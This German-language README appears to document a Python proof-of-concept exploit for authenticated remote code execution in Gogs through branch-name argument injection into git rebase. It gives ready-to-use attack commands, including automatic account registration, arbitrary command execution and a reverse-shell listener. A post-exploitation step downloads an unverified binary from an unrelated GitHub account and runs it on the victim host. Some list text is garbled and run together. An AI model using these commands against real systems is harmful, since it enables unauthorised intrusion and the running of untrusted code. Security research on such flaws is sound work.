
Gogs RCE via argument injection in git rebase (CWE-88) — Python PoC. CVE-2026-52806
git rebase (CWE-88)Authentifizierte Remote-Codeausführung gegen Gogs (<= 0.14.2 und 0.15.0+dev) mittels Argumentinjektion im Pull-Request-Merge-Ablauf.
CVE-2026-52806
Die Funktion Merge() in internal/database/pull.go übergibt den PR-Basis-Branch-Namen an git rebase ohne einen ---Separator. Ein Branch mit dem Namen --exec=<COMMAND> wird von Git als das --exec-Flag und nicht als Positionsargument interpretiert, was dazu führt, dass nach jedem wiederholten Commit während des Rebase sh -c <COMMAND> ausgeführt wird.
?v=-Parameter bei statischen Ressourcen und prüft, ob die Benutzerregistrierung geöffnet, Captcha-geschützt oder deaktiviert ist.-u <Benutzername> -pw <Passwort> erneut auszuführen. Erstellt einen API-Token über Basic Auth oder die Web-Einstellungsseite.master-Branch mit einer READMEfeature-*-Branch mit einem abweichenden Commit--exec=sh${IFS}.payload, der ein Skript enthält, das den Befehl des Angreifers im Hintergrund ausführt--exec=-Branch.merge_style=rebase_before_merging. Gogs führt intern git rebase --exec=sh${IFS}.payload aus, wodurch die Nutzlast nach jedem wiederholten Commit ausgeführt wird.requests (pip install requests)git-Installationpython3 gogs.py <target> [options]
python3 gogs.py http://target:3000 --preflight-only
Berichtet:
Registration: ENABLED (no captcha) — kann automatisch registrierenRegistration: ENABLED (CAPTCHA DETECTED) — erstelle manuell ein Konto auf der Registrierungsseite des Ziels und gib dann Anmeldedaten mit -u / -pw anRegistration: DISABLED — es werden bestehende Anmeldedaten eines Administrators benötigt# Auto-register + run a command
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"
# Existing account
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"
# Reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444
# Captcha enabled: create account on target's signup page, then use creds
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"
# If login with creds fails, pass the session cookie directly
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"
Sobald Sie eine Shell auf dem Ziel haben, läuft der Gogs-Prozess typischerweise als Benutzer mit niedrigen Privilegien (z.B. git in Docker). Um eine Privilegieneskalation zu root zu versuchen, laden Sie das Binary lpe-toolkit von der Release-Seite des Projekts herunter und führen Sie es aus:
# From your shell session:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64
Das Toolkit enumeriert Kernel-Exploits, Fehlkonfigurationen und andere gängige Eskalationsvektoren.
exploit/multi/http/gogs_rebase_rce von Jonah Burgess (CryptoCat) (PR #21515)qf6p-p7ww-cwr9 (gogs/gogs)Dieser Python-PoC ist von dem veröffentlichten Metasploit-Modul inspiriert. Die Schwachstelle wurde von Jonah Burgess (CryptoCat) bei Rapid7 entdeckt und verantwortungsvoll offengelegt.
Dieses Tool wird nur zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt. Die unbefugte Nutzung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch diese Software verursacht werden.
Die Gogs-API unterstützt keine Token-Löschung, daher bleiben alle während der Ausnutzung erstellten API-Zugriffstoken bestehen und müssen manuell unter /user/settings/applications auf der Zielinstanz entfernt werden.
| Flag | Beschreibung |
|---|
target | Host[:Port] (z.B. 47.109.58.140:9000) |
-p, --port | HTTP-Port (Standard: 3000) |
-u, --username | Gogs-Benutzername |
-pw, --password | Gogs-Passwort |
--cookie | Session-Cookie-String |
--cmd | Befehl, der auf dem Ziel ausgeführt werden soll |
--listener | Reverse-Shell Host:Port |
--lhost / --lport | Reverse-Shell-Host und -Port |
--ssl | HTTPS verwenden |
--preflight-only | Nur Preflight-Prüfungen ausführen |